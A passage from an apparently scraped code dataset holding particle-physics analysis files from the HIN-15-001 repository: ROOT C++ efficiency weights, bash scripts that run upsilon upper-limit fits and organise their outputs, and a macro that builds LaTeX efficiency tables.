0.7189*TMath::Erf((x-0.9971)/0.7740);\n else if (idx == 4 ) num = 0.7187*TMath::Erf((x-0.9890)/0.8187);\n else if (idx == 5 ) num = 0.7351*TMath::Erf((x-1.1568)/0.6493);\n else if (idx == 6 ) num = 0.7179*TMath::Erf((x-1.4891)/0.2781);\n else if (idx == 7 ) num = 0.7126*TMath::Erf((x-0.9641)/0.6657);\n else if (idx == 8 ) num = 0.7205*TMath::Erf((x-1.4963)/0.2746);\n else if (idx == 9 ) num = 0.7069*TMath::Erf((x-1.4755)/0.3004);\n else if (idx == 10 ) num = 0.7156*TMath::Erf((x-1.4001)/0.3660);\n else if (idx == 11 ) num = 0.7215*TMath::Erf((x-1.5781)/0.2286);\n else if (idx == 12 ) num = 0.7179*TMath::Erf((x-1.4952)/0.2553);\n else if (idx == 13 ) num = 0.7325*TMath::Erf((x-0.8573)/0.9258);\n else if (idx == 14 ) num = 0.7157*TMath::Erf((x-1.2476)/0.5105);\n else if (idx == 15 ) num = 0.7389*TMath::Erf((x-0.3761)/1.3209);\n else if (idx == 16 ) num = 0.7303*TMath::Erf((x-0.0010)/1.5873);\n else if (idx == 17 ) num = 0.7125*TMath::Erf((x-0.7767)/0.9823);\n else if (idx == 18 ) num = 0.7014*TMath::Erf((x-0.8227)/0.8456);\n else if (idx == 19 ) num = 0.7131*TMath::Erf((x-1.4633)/0.3282);\n else if (idx == 20 ) num = 0.7316*TMath::Erf((x-1.5509)/0.2741);\n else if (idx == 21 ) num = 0.7275*TMath::Erf((x-0.5045)/1.3674);\n else if (idx == 22 ) num = 0.7203*TMath::Erf((x-1.0842)/0.6858);\n else if (idx == 23 ) num = 0.7237*TMath::Erf((x-0.6836)/1.0793);\n else if (idx == 24 ) num = 0.7150*TMath::Erf((x-1.0440)/0.7408);\n else if (idx == 25 ) num = 0.7082*TMath::Erf((x-0.6836)/1.0220);\n else if (idx == 26 ) num = 0.7158*TMath::Erf((x-1.5514)/0.2426);\n else if (idx == 27 ) num = 0.7094*TMath::Erf((x-0.3448)/1.2335);\n else if (idx == 28 ) num = 0.7326*TMath::Erf((x-0.6195)/1.2376);\n else if (idx == 29 ) num = 0.7202*TMath::Erf((x-0.9840)/0.7384);\n else if (idx == 30 ) num = 0.7248*TMath::Erf((x-0.7124)/1.1252);\n else if (idx == 31 ) num = 0.7266*TMath::Erf((x-1.5455)/0.2473);\n else if (idx == 32 ) num = 0.7262*TMath::Erf((x-1.4607)/0.3143);\n else if (idx == 33 ) num = 0.7250*TMath::Erf((x-0.5565)/1.2793);\n else if (idx == 34 ) num = 0.7146*TMath::Erf((x-0.1622)/1.4487);\n else if (idx == 35 ) num = 0.7182*TMath::Erf((x-1.2688)/0.4881);\n else if (idx == 36 ) num = 0.7197*TMath::Erf((x-1.4913)/0.2891);\n else if (idx == 37 ) num = 0.7194*TMath::Erf((x-0.7969)/0.9751);\n else if (idx == 38 ) num = 0.7128*TMath::Erf((x-1.6009)/0.2256);\n else if (idx == 39 ) num = 0.7086*TMath::Erf((x-0.6335)/1.0600);\n else if (idx == 40 ) num = 0.7066*TMath::Erf((x-1.5312)/0.2564);\n else if (idx == 41 ) num = 0.7241*TMath::Erf((x-1.0363)/0.7744);\n else if (idx == 42 ) num = 0.7122*TMath::Erf((x-0.8155)/0.9344);\n else if (idx == 43 ) num = 0.7251*TMath::Erf((x-1.0401)/0.7146);\n else if (idx == 44 ) num = 0.7250*TMath::Erf((x-0.4809)/1.2665);\n else if (idx == 45 ) num = 0.7183*TMath::Erf((x-0.6593)/1.1081);\n else if (idx == 46 ) num = 0.7251*TMath::Erf((x-0.2654)/1.4740);\n else if (idx == 47 ) num = 0.7394*TMath::Erf((x-1.4997)/0.2973);\n else if (idx == 48 ) num = 0.7270*TMath::Erf((x-0.3207)/1.3268);\n else if (idx == 49 ) num = 0.7197*TMath::Erf((x-0.4509)/1.2673);\n else if (idx == 50 ) num = 0.7255*TMath::Erf((x-0.5630)/1.1279);\n else if (idx == 51 ) num = 0.7382*TMath::Erf((x-0.0106)/1.8764);\n else if (idx == 52 ) num = 0.7249*TMath::Erf((x-0.7874)/1.0355);\n else if (idx == 53 ) num = 0.7060*TMath::Erf((x-0.4272)/1.1258);\n else if (idx == 54 ) num = 0.7140*TMath::Erf((x-0.8466)/0.8614);\n else if (idx == 55 ) num = 0.7198*TMath::Erf((x-1.3562)/0.3995);\n else if (idx == 56 ) num = 0.7177*TMath::Erf((x-0.5509)/1.1209);\n else if (idx == 57 ) num = 0.7191*TMath::Erf((x-0.5805)/1.0677);\n else if (idx == 58 ) num = 0.7108*TMath::Erf((x-1.4611)/0.2980);\n else if (idx == 59 ) num = 0.7085*TMath::Erf((x-1.2847)/0.4101);\n else if (idx == 60 ) num = 0.7288*TMath::Erf((x-0.9797)/0.8370);\n else if (idx == 61 ) num = 0.7070*TMath::Erf((x-1.1106)/0.6108);\n else if (idx == 62 ) num = 0.7151*TMath::Erf((x-1.0079)/0.7003);\n else if (idx == 63 ) num = 0.7168*TMath::Erf((x-0.6922)/0.9619);\n else if (idx == 64 ) num = 0.7148*TMath::Erf((x-0.8350)/0.8502);\n else if (idx == 65 ) num = 0.7225*TMath::Erf((x-0.7220)/1.0458);\n else if (idx == 66 ) num = 0.7219*TMath::Erf((x-1.3615)/0.4154);\n else if (idx == 67 ) num = 0.7221*TMath::Erf((x-0.7711)/0.9276);\n else if (idx == 68 ) num = 0.7252*TMath::Erf((x-1.3732)/0.4725);\n else if (idx == 69 ) num = 0.7345*TMath::Erf((x-0.0002)/1.6779);\n else if (idx == 70 ) num = 0.7066*TMath::Erf((x-0.0004)/1.4847);\n else if (idx == 71 ) num = 0.7107*TMath::Erf((x-1.5737)/0.2364);\n else if (idx == 72 ) num = 0.7180*TMath::Erf((x-1.0300)/0.7424);\n else if (idx == 73 ) num = 0.7219*TMath::Erf((x-0.0005)/1.6056);\n else if (idx == 74 ) num = 0.7129*TMath::Erf((x-1.5083)/0.2488);\n else if (idx == 75 ) num = 0.7241*TMath::Erf((x-0.0000)/1.5876);\n else if (idx == 76 ) num = 0.7161*TMath::Erf((x-0.5443)/1.1077);\n else if (idx == 77 ) num = 0.7104*TMath::Erf((x-1.5187)/0.2540);\n else if (idx == 78 ) num = 0.7224*TMath::Erf((x-0.8910)/0.8940);\n else if (idx == 79 ) num = 0.7082*TMath::Erf((x-0.4229)/1.1794);\n else if (idx == 80 ) num = 0.7210*TMath::Erf((x-0.9614)/0.8246);\n else if (idx == 81 ) num = 0.7153*TMath::Erf((x-1.0160)/0.7105);\n else if (idx == 82 ) num = 0.7262*TMath::Erf((x-0.0084)/1.6473);\n else if (idx == 83 ) num = 0.7093*TMath::Erf((x-0.9499)/0.7553);\n else if (idx == 84 ) num = 0.7260*TMath::Erf((x-0.7498)/1.0241);\n else if (idx == 85 ) num = 0.7029*TMath::Erf((x-0.9960)/0.6297);\n else if (idx == 86 ) num = 0.7123*TMath::Erf((x-0.8304)/0.9112);\n else if (idx == 87 ) num = 0.7189*TMath::Erf((x-0.9134)/0.8465);\n else if (idx == 88 ) num = 0.7202*TMath::Erf((x-0.8725)/0.8852);\n else if (idx == 89 ) num = 0.6996*TMath::Erf((x-1.3070)/0.4448);\n else if (idx == 90 ) num = 0.7254*TMath::Erf((x-0.2951)/1.4145);\n else if (idx == 91 ) num = 0.7183*TMath::Erf((x-1.5637)/0.2511);\n else if (idx == 92 ) num = 0.7228*TMath::Erf((x-0.9679)/0.8175);\n else if (idx == 93 ) num = 0.7195*TMath::Erf((x-0.6059)/0.9910);\n else if (idx == 94 ) num = 0.7220*TMath::Erf((x-1.0358)/0.7612);\n else if (idx == 95 ) num = 0.7148*TMath::Erf((x-0.0001)/1.6107);\n else if (idx == 96 ) num = 0.7030*TMath::Erf((x-1.4710)/0.2685);\n else if (idx == 97 ) num = 0.7257*TMath::Erf((x-0.5699)/1.1903);\n else if (idx == 98 ) num = 0.7188*TMath::Erf((x-1.3932)/0.4295);\n else if (idx == 99 ) num = 0.7215*TMath::Erf((x-1.1717)/0.5727);\n else if (idx == 100 ) num = 0.7104*TMath::Erf((x-1.0513)/0.7254);\n }\n\n // return\n return num/den;\n}\n\n\n#endif //#ifndef tnp_weight_h\n" }, { "alpha_fraction": 0.5521774888038635, "alphanum_fraction": 0.6606408953666687, "avg_line_length": 31.891891479492188, "blob_id": "6d349bc164b010e2f95da255d0f95b5c0046b857", "content_id": "2eb6d598313b21c5329d55ee6d3d2cca0bc2cf0f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1217, "license_type": "no_license", "max_line_length": 95, "num_lines": 37, "path": "/upperlimit/upperlimit/run_2S_limit.sh", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# dir\ndir=ws_2S_04mar2015/\n\n# pt fits\ndir2=$dir/ptFits\nfor cat in dimuPt000500 dimuPt12002000 dimuPt5001200; do \n nice root -l -b -q runLimit_RaaNS_Workspace.C'(\"'${dir2}'/WS_combo2S_'${cat}'.root\",\"raa2\")'\n mv results.txt $dir2/results_2S_${cat}.txt\n mv c1.pdf $dir2/c1_2S_${cat}.pdf\n mv c1.root $dir2/c1_2S_${cat}.root\n mv c2.pdf $dir2/c2_2S_${cat}.pdf\n mv c2.root $dir2/c2_2S_${cat}.root\ndone\n\n# rapidity fits\ndir2=$dir/rapidityFits\nfor cat in dimuY000120 dimuY120240; do \n nice root -l -b -q runLimit_RaaNS_Workspace.C'(\"'${dir2}'/WS_combo2S_'${cat}'.root\",\"raa2\")'\n mv results.txt $dir2/results_2S_${cat}.txt\n mv c1.pdf $dir2/c1_2S_${cat}.pdf\n mv c1.root $dir2/c1_2S_${cat}.root\n mv c2.pdf $dir2/c2_2S_${cat}.pdf\n mv c2.root $dir2/c2_2S_${cat}.root\ndone\n\n# rapidity fits\ndir2=$dir/centralityFits\nfor cat in cent0M5 cent5M10 cent10M20 cent20M30 cent30M40 cent40M50 cent50M100; do \n nice root -l -b -q runLimit_RaaNS_Workspace.C'(\"'${dir2}'/WS_combo2S_'${cat}'.root\",\"raa2\")'\n mv results.txt $dir2/results_2S_${cat}.txt\n mv c1.pdf $dir2/c1_2S_${cat}.pdf\n mv c1.root $dir2/c1_2S_${cat}.root\n mv c2.pdf $dir2/c2_2S_${cat}.pdf\n mv c2.root $dir2/c2_2S_${cat}.root\ndone\n" }, { "alpha_fraction": 0.5602217316627502, "alphanum_fraction": 0.5874567031860352, "avg_line_length": 45.25, "blob_id": "af312f8f029bfb4ec20105d23f2443bd40410dd9", "content_id": "2931819f8c4b6482a251d42760a032e6831923bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 14430, "license_type": "no_license", "max_line_length": 160, "num_lines": 312, "path": "/acceptance_efficiency/read_tpvar.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#include \"dimueff.C\"\n#include \"TTree.h\"\n#include \"TFile.h\"\n#include \"TProfile.h\"\n#include \"TString.h\"\n#include <math.h>\n#include <cstring>\n#include <iostream>\n#include <iomanip>\n#include <string>\n#include <fstream>\n\nusing namespace std;\n\nbool dotables=true;\n\ndouble firsteff(TTree *tr, const char* name, double binlow, double binhigh);\nvoid print(ifstream &intable, ofstream &outtable, double binmin, double binmax, double eff0, double efferr);\nvoid skip_lines(std::istream& pStream, size_t pLines);\ndouble systerr(TTree *tr, const char* name, double binlow, double binhigh, double eff0);\n\nvoid read_tpvar(const char* file, int YS, \n const char* inputtable_pt, const char* outputtable_pt, \n const char* inputtable_rap, const char* outputtable_rap, \n const char* inputtable_cent=\"nocentrality\", const char* outputtable_cent=\"nocentrality\",\n bool dosta=false, const char* systfile=\"nosyst\")\n{\n // YS decides on the binning.\n // YS=1 -> fine binning\n // YS=2 -> coarse binning\n // YS=0 -> both\n // YS=4 -> both, except centrality where only fine (for 1S in pbpb)\n TFile *f = new TFile(\"tpvar.root\",\"RECREATE\");\n TTree *tr = new TTree(\"tree\",\"tree\");\n tr->ReadFile(file,\"name/C:binlow/F:binhigh/F:eff/F:stat/F:syst/F\");\n \n bool dosyst=!(strcmp(systfile,\"nosyst\")==0);\n cout << systfile << \" \" << dosyst << endl;\n TTree *trsyst=NULL;\n if (dosyst) {\n trsyst = new TTree(\"treesyst\",\"tree\");\n trsyst->ReadFile(systfile,\"name/C:binlow/F:binhigh/F:eff/F:stat/F:syst/F\");\n }\n\n\n unsigned int NPTNS = YS==1 ? NPT1S : NPT2S;\n unsigned int NRAPNS = YS==1 ? NRAP1S : NRAP2S;\n unsigned int NCENTNS = YS==1 ? NCENT1S : NCENT2S;\n\n const double *ptbins_NS = YS==1 ? ptbins_1S : ptbins_2S;\n const double *rapbins_NS = YS==1 ? rapbins_1S : rapbins_2S;\n const int *centbins_NS = YS==1 ? centbins_1S : centbins_2S;\n\n bool docentrality=strcmp(inputtable_cent,\"nocentrality\");\n ifstream intable_pt(inputtable_pt);\n ifstream intable_rap(inputtable_rap);\n ifstream intable_cent; if (docentrality) intable_cent.open(inputtable_cent);\n ofstream outtable_pt(outputtable_pt);\n ofstream outtable_rap(outputtable_rap);\n ofstream outtable_cent; if (docentrality) outtable_cent.open(outputtable_cent);\n double binmin, binmax, eff0, efferr, effmean;\n\n TString var = dosta ? TString(\"pt_SF_sta\") : TString(\"pt_SF\");\n tr->Draw(\"eff:1>>htemp(1,0,2)\",Form(\"name==\\\"%s\\\"&&abs(binlow-%f)<.1&&abs(binhigh-%f)<.1\",var.Data(),ptbins_NS[0],ptbins_NS[NPTNS]),\"PROFs\");\n // tr->Draw(\"eff:1>>htemp(1,0,2)\",Form(\"name==\\\"%s\\\"&&abs(binlow-%f)<.1&&abs(binhigh-%f)<.1\",var.Data(),ptbins_NS[0],40.),\"PROFs\"); // ugly fix\n TProfile *htemp = (TProfile*) gDirectory->Get(\"htemp\");\n binmin=ptbins_NS[0];\n binmax=ptbins_NS[NPTNS]; //40.;//(ugly fix)\n eff0=firsteff(tr,var.Data(),binmin,binmax);\n efferr=htemp->GetBinError(1);\n if (dosyst) efferr = sqrt(pow(efferr,2) + pow(systerr(trsyst,var.Data(),ptbins_NS[0],ptbins_NS[NPTNS],eff0),2));\n effmean=htemp->GetBinContent(1);\n cout << setprecision(3)<<fixed << var << \" \" << binmin << \" \" << binmax << \" \" << eff0 << \" \" << efferr << \" \" << effmean << endl;\n if (dotables) print(intable_pt,outtable_pt,binmin,binmax,eff0,efferr);\n delete htemp;\n\n skip_lines(intable_pt,1);// \\hline\n\n if (YS==0||YS==4)\n {\n NPTNS=NPT2S; ptbins_NS=ptbins_2S;\n }\n for (unsigned int i=0; i<NPTNS; i++)\n {\n // cout << setprecision(3)<<fixed << Form(\"name==\\\"%s\\\"&&binlow==%f&&binhigh==%f\",var.Data(),ptbins_NS[i],ptbins_NS[i+1]) << endl;\n tr->Draw(\"eff:1>>htemp(1,0,2)\",Form(\"name==\\\"%s\\\"&&abs(binlow-%f)<.1&&abs(binhigh-%f)<.1\",var.Data(),ptbins_NS[i],ptbins_NS[i+1]),\"PROFs\");\n htemp = (TProfile*) gDirectory->Get(\"htemp\");\n binmin=ptbins_NS[i];\n binmax=ptbins_NS[i+1];\n eff0=firsteff(tr,var.Data(),ptbins_NS[i],ptbins_NS[i+1]);\n efferr=htemp->GetBinError(1);\n if (dosyst) efferr = sqrt(pow(efferr,2) + pow(systerr(trsyst,var.Data(),ptbins_NS[i],ptbins_NS[i+1],eff0),2));\n effmean=htemp->GetBinContent(1);\n cout << setprecision(3)<<fixed << var << \" \" << binmin << \" \" << binmax << \" \" << eff0 << \" \" << efferr << \" \" << effmean << endl;\n if (dotables) print(intable_pt,outtable_pt,binmin,binmax,eff0,efferr);\n delete htemp;\n }\n\n if (YS==0||YS==4)\n {\n NPTNS=NPT1S; ptbins_NS=ptbins_1S;\n outtable_pt << \"\\\\hline\" << endl;\n skip_lines(intable_pt,1);// \\hline\n\n for (unsigned int i=0; i<NPTNS; i++)\n {\n // cout << setprecision(3)<<fixed << Form(\"name==\\\"%s\\\"&&binlow==%f&&binhigh==%f\",var.Data(),ptbins_NS[i],ptbins_NS[i+1]) << endl;\n tr->Draw(\"eff:1>>htemp(1,0,2)\",Form(\"name==\\\"%s\\\"&&abs(binlow-%f)<.1&&abs(binhigh-%f)<.1\",var.Data(),ptbins_NS[i],ptbins_NS[i+1]),\"PROFs\");\n htemp = (TProfile*) gDirectory->Get(\"htemp\");\n binmin=ptbins_NS[i];\n binmax=ptbins_NS[i+1];\n eff0=firsteff(tr,var.Data(),ptbins_NS[i],ptbins_NS[i+1]);\n efferr=htemp->GetBinError(1);\n if (dosyst) efferr = sqrt(pow(efferr,2) + pow(systerr(trsyst,var.Data(),ptbins_NS[i],ptbins_NS[i+1],eff0),2));\n effmean=htemp->GetBinContent(1);\n cout << setprecision(3)<<fixed << var << \" \" << binmin << \" \" << binmax << \" \" << eff0 << \" \" << efferr << \" \" << effmean << endl;\n if (dotables) print(intable_pt,outtable_pt,binmin,binmax,eff0,efferr);\n delete htemp;\n }\n }\n\n var = dosta ? TString(\"rapidity_SF_sta\") : TString(\"rapidity_SF\");\n tr->Draw(\"eff:1>>htemp(1,0,2)\",Form(\"name==\\\"%s\\\"&&abs(binlow-%f)<.1&&abs(binhigh-%f)<.1\",var.Data(),rapbins_NS[0],rapbins_NS[NRAPNS]),\"PROFs\");\n htemp = (TProfile*) gDirectory->Get(\"htemp\");\n binmin=rapbins_NS[0];\n binmax=rapbins_NS[NRAPNS];\n eff0=firsteff(tr,var.Data(),rapbins_NS[0],rapbins_NS[NRAPNS]);\n efferr=htemp->GetBinError(1);\n if (dosyst) efferr = sqrt(pow(efferr,2) + pow(systerr(trsyst,var.Data(),rapbins_NS[0],rapbins_NS[NRAPNS],eff0),2));\n effmean=htemp->GetBinContent(1);\n cout << setprecision(3)<<fixed << var << \" \" << binmin << \" \" << binmax << \" \" << eff0 << \" \" << efferr << \" \" << effmean << endl;\n delete htemp;\n\n if (YS==0||YS==4)\n {\n NRAPNS=NRAP2S; rapbins_NS=rapbins_2S;\n }\n for (unsigned int i=0; i<NRAPNS; i++)\n {\n // cout << setprecision(3)<<fixed << Form(\"name==\\\"%s\\\"&&binlow==%f&&binhigh==%f\",var.Data(),rapbins_NS[i],rapbins_NS[i+1]) << endl;\n tr->Draw(\"eff:1>>htemp(1,0,2)\",Form(\"name==\\\"%s\\\"&&abs(binlow-%f)<.1&&abs(binhigh-%f)<.1\",var.Data(),rapbins_NS[i],rapbins_NS[i+1]),\"PROFs\");\n htemp = (TProfile*) gDirectory->Get(\"htemp\");\n binmin=rapbins_NS[i];\n binmax=rapbins_NS[i+1];\n eff0=firsteff(tr,var.Data(),rapbins_NS[i],rapbins_NS[i+1]);\n efferr=htemp->GetBinError(1);\n if (dosyst) efferr = sqrt(pow(efferr,2) + pow(systerr(trsyst,var.Data(),rapbins_NS[i],rapbins_NS[i+1],eff0),2));\n effmean=htemp->GetBinContent(1);\n cout << setprecision(3)<<fixed << var << \" \" << binmin << \" \" << binmax << \" \" << eff0 << \" \" << efferr << \" \" << effmean << endl;\n if (dotables) print(intable_rap,outtable_rap,binmin,binmax,eff0,efferr);\n delete htemp;\n }\n\n if (YS==0||YS==4)\n {\n outtable_rap << \"\\\\hline\" << endl;\n skip_lines(intable_rap,1);// \\hline\n NRAPNS=NRAP1S; rapbins_NS=rapbins_1S;\n for (unsigned int i=0; i<NRAPNS; i++)\n {\n // cout << setprecision(3)<<fixed << Form(\"name==\\\"%s\\\"&&binlow==%f&&binhigh==%f\",var.Data(),rapbins_NS[i],rapbins_NS[i+1]) << endl;\n tr->Draw(\"eff:1>>htemp(1,0,2)\",Form(\"name==\\\"%s\\\"&&abs(binlow-%f)<.1&&abs(binhigh-%f)<.1\",var.Data(),rapbins_NS[i],rapbins_NS[i+1]),\"PROFs\");\n htemp = (TProfile*) gDirectory->Get(\"htemp\");\n binmin=rapbins_NS[i];\n binmax=rapbins_NS[i+1];\n eff0=firsteff(tr,var.Data(),rapbins_NS[i],rapbins_NS[i+1]);\n efferr=htemp->GetBinError(1);\n if (dosyst) efferr = sqrt(pow(efferr,2) + pow(systerr(trsyst,var.Data(),rapbins_NS[i],rapbins_NS[i+1],eff0),2));\n effmean=htemp->GetBinContent(1);\n cout << setprecision(3)<<fixed << var << \" \" << binmin << \" \" << binmax << \" \" << eff0 << \" \" << efferr << \" \" << effmean << endl;\n if (dotables) print(intable_rap,outtable_rap,binmin,binmax,eff0,efferr);\n delete htemp;\n }\n }\n\n if (!docentrality) return;\n\n var = dosta ? TString(\"centrality_SF_sta\") : TString(\"centrality_SF\");\n tr->Draw(\"eff:1>>htemp(1,0,2)\",Form(\"name==\\\"%s\\\"&&abs(binlow-%f)<.1&&abs(binhigh-%f)<.1\",var.Data(),centbins_NS[0]*2.5,centbins_NS[NCENTNS]*2.5),\"PROFs\");\n htemp = (TProfile*) gDirectory->Get(\"htemp\");\n binmin=centbins_NS[0]*2.5;\n binmax=centbins_NS[NCENTNS]*2.5;\n eff0=firsteff(tr,var.Data(),centbins_NS[0]*2.5,centbins_NS[NCENTNS]*2.5);\n efferr=htemp->GetBinError(1);\n if (dosyst) efferr = sqrt(pow(efferr,2) + pow(systerr(trsyst,var.Data(),centbins_NS[0]*2.5,centbins_NS[NCENTNS]*2.5,eff0),2));\n effmean=htemp->GetBinContent(1);\n cout << setprecision(3)<<fixed << var << \" \" << binmin << \" \" << binmax << \" \" << eff0 << \" \" << efferr << \" \" << effmean << endl;\n delete htemp;\n\n if (YS==0)\n {\n NCENTNS=NCENT2S; centbins_NS=centbins_2S;\n }\n else if (YS==4)\n {\n NCENTNS=NCENT1S; centbins_NS=centbins_1S;\n }\n for (unsigned int i=0; i<NCENTNS; i++)\n {\n // cout << setprecision(3)<<fixed << Form(\"name==\\\"%s\\\"&&binlow==%f&&binhigh==%f\",var.Data(),centbins_NS[i],centbins_NS[i+1]) << endl;\n tr->Draw(\"eff:1>>htemp(1,0,2)\",Form(\"name==\\\"%s\\\"&&abs(binlow-%f)<.1&&abs(binhigh-%f)<.1\",var.Data(),centbins_NS[i]*2.5,centbins_NS[i+1]*2.5),\"PROFs\");\n htemp = (TProfile*) gDirectory->Get(\"htemp\");\n binmin=centbins_NS[i]*2.5;\n binmax=centbins_NS[i+1]*2.5;\n eff0=firsteff(tr,var.Data(),centbins_NS[i]*2.5,centbins_NS[i+1]*2.5);\n efferr=htemp->GetBinError(1);\n if (dosyst) efferr = sqrt(pow(efferr,2) + pow(systerr(trsyst,var.Data(),centbins_NS[i]*2.5,centbins_NS[i+1]*2.5,eff0),2));\n effmean=htemp->GetBinContent(1);\n cout << setprecision(3)<<fixed << var << \" \" << binmin << \" \" << binmax << \" \" << eff0 << \" \" << efferr << \" \" << effmean << endl;\n if (dotables) print(intable_cent,outtable_cent,binmin,binmax,eff0,efferr);\n delete htemp;\n }\n if (YS==0)\n {\n NCENTNS=NCENT1S; centbins_NS=centbins_1S;\n outtable_cent << \"\\\\hline\" << endl;\n skip_lines(intable_cent,1);// \\hline\n for (unsigned int i=0; i<NCENTNS; i++)\n {\n // cout << setprecision(3)<<fixed << Form(\"name==\\\"%s\\\"&&binlow==%f&&binhigh==%f\",var.Data(),centbins_NS[i],centbins_NS[i+1]) << endl;\n tr->Draw(\"eff:1>>htemp(1,0,2)\",Form(\"name==\\\"%s\\\"&&abs(binlow-%f)<.1&&abs(binhigh-%f)<.1\",var.Data(),centbins_NS[i]*2.5,centbins_NS[i+1]*2.5),\"PROFs\");\n htemp = (TProfile*) gDirectory->Get(\"htemp\");\n binmin=centbins_NS[i]*2.5;\n binmax=centbins_NS[i+1]*2.5;\n eff0=firsteff(tr,var.Data(),centbins_NS[i]*2.5,centbins_NS[i+1]*2.5);\n efferr=htemp->GetBinError(1);\n if (dosyst) efferr = sqrt(pow(efferr,2) + pow(systerr(trsyst,var.Data(),centbins_NS[i]*2.5,centbins_NS[i+1]*2.5,eff0),2));\n effmean=htemp->GetBinContent(1);\n cout << setprecision(3)<<fixed << var << \" \" << binmin << \" \" << binmax << \" \" << eff0 << \" \" << efferr << \" \" << effmean << endl;\n if (dotables) print(intable_cent,outtable_cent,binmin,binmax,eff0,efferr);\n delete htemp;\n }\n }\n\n f->Write();\n f->Close();\n}\n\ndouble firsteff(TTree *tr, const char* name, double binlow, double binhigh)\n{\n char namevar[1000];\n float binlowvar, binhighvar, eff;\n TTree *tr2 = tr->CloneTree();\n tr2->SetBranchAddress(\"name\",&namevar);\n tr2->SetBranchAddress(\"binlow\",&binlowvar);\n tr2->SetBranchAddress(\"binhigh\",&binhighvar);\n tr2->SetBranchAddress(\"eff\",&eff);\n\n for (int i=0; i<tr2->GetEntries(); i++)\n {\n tr2->GetEntry(i);\n if (!strcmp(name,namevar) && fabs(binlow-binlowvar)<.1&&fabs(binhigh-binhighvar)<.1) {delete tr2; return eff;}\n }\n}\n\nvoid print(ifstream &intable, ofstream &outtable, double binmin, double binmax, double eff0, double efferr)\n{\n // p$_{\\rm T}$ [\\GeVc]& Reco Efficiency &Acceptance& Acc$\\times$Eff & Scale Factor & Acc$\\times$Eff$\\times$SF & Sys Err \\\\\n // \\hline\n // 0.0-100.0 & 0.679 $\\pm$ 0.001 & 0.353 $\\pm$ 0.001 & 0.239 $\\pm$ 0.001 & 1.084 $\\pm$ 0.002 & 0.259 $\\pm$ 0.001 & 0.007\n\n string dummy, label;\n double o_eff, o_efferr, o_acc, o_accerr, o_acceff, o_accefferr, o_sys, o_acceffsf;\n intable >> label >> dummy >> \n o_eff >> dummy >> o_efferr >> dummy >> // efficiency\n o_acc >> dummy >> o_accerr >> dummy >> // acceptance\n o_acceff >> dummy >> o_accefferr >> dummy >> // acc*eff\n dummy >> dummy >> dummy >> dummy >> // SF\n o_acceffsf >> dummy >> dummy >> dummy >> // acc*eff*SF\n o_sys >> dummy; // syst\n cout << \"bin check: I read \" << label << \", you're asking for \" << binmin << \"-\" << binmax << endl;\n outtable << setprecision(3) << fixed <<\n label << \" & \" <<\n o_eff << \" $\\\\pm$ \" << o_efferr << \" & \" <<\n o_acc << \" $\\\\pm$ \" << o_accerr << \" & \" <<\n o_acceff << \" $\\\\pm$ \" << o_accefferr << \" & \" <<\n eff0 << \" $\\\\pm$ \" << efferr << \" & \" <<\n o_acceff*eff0 << \" $\\\\pm$ \" << o_accefferr*eff0 << \" & \" <<\n o_acceff*eff0*sqrt(pow(o_sys/o_acceffsf,2)+pow(efferr/eff0,2)) << \" \\\\\\\\\" << endl;\n}\n\nvoid skip_lines(std::istream& pStream, size_t pLines)\n{\n std::string s;\n for (++pLines; pLines; --pLines)\n std::getline(pStream, s);\n}\n\ndouble systerr(TTree *tr, const char* name, double binlow, double binhigh, double eff0) {\n char namevar[1000];\n float binlowvar, binhighvar, eff;\n double effsyst=0;\n TTree *tr2 = tr->CloneTree();\n tr2->SetBranchAddress(\"name\",&namevar);\n tr2->SetBranchAddress(\"binlow\",&binlowvar);\n tr2->SetBranchAddress(\"binhigh\",&binhighvar);\n tr2->SetBranchAddress(\"eff\",&eff);\n\n // bool found=false;\n for (int i=0; i<tr2->GetEntries(); i++)\n {\n tr2->GetEntry(i);\n if (!strcmp(name,namevar) && fabs(binlow-binlowvar)<.1&&fabs(binhigh-binhighvar)<.1) {\n // if (found) cout << \"Warning, already found entry for \" << name << \" in [\" << binlow << \", \" << binhigh << \"]: \" << eff << endl;\n effsyst = max(effsyst, fabs(eff-eff0));\n // found=true;\n }\n }\n\n delete tr2;\n return effsyst;\n}\n" }, { "alpha_fraction": 0.4854341149330139, "alphanum_fraction": 0.6732810139656067, "avg_line_length": 55.176090240478516, "blob_id": "24e69751621ce23ea4ea901927dbf5432c487477", "content_id": "e6261ce13053b51ba2e020589b483d308de4e501", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 34773, "license_type": "no_license", "max_line_length": 104, "num_lines": 619, "path": "/fitting/printSignificances.sh", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#!/bin/bash\n########################################## AA ############################################\n########################################## pt ############################################\ntxtDir_aa_3_3_pt=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3/Pt/Pt_0_2p5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3/Pt/Pt_2p5_5\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3/Pt/Pt_5_8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3/Pt/Pt_8_12\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3/Pt/Pt_12_20\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3/Pt/Pt_20_40\")\ntxtDir_aa_3_3p5_pt=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3p5/Pt/Pt_0_2p5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3p5/Pt/Pt_2p5_5\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3p5/Pt/Pt_5_8\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3p5/Pt/Pt_8_12\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_3_3p5/Pt/Pt_12_20\"\n 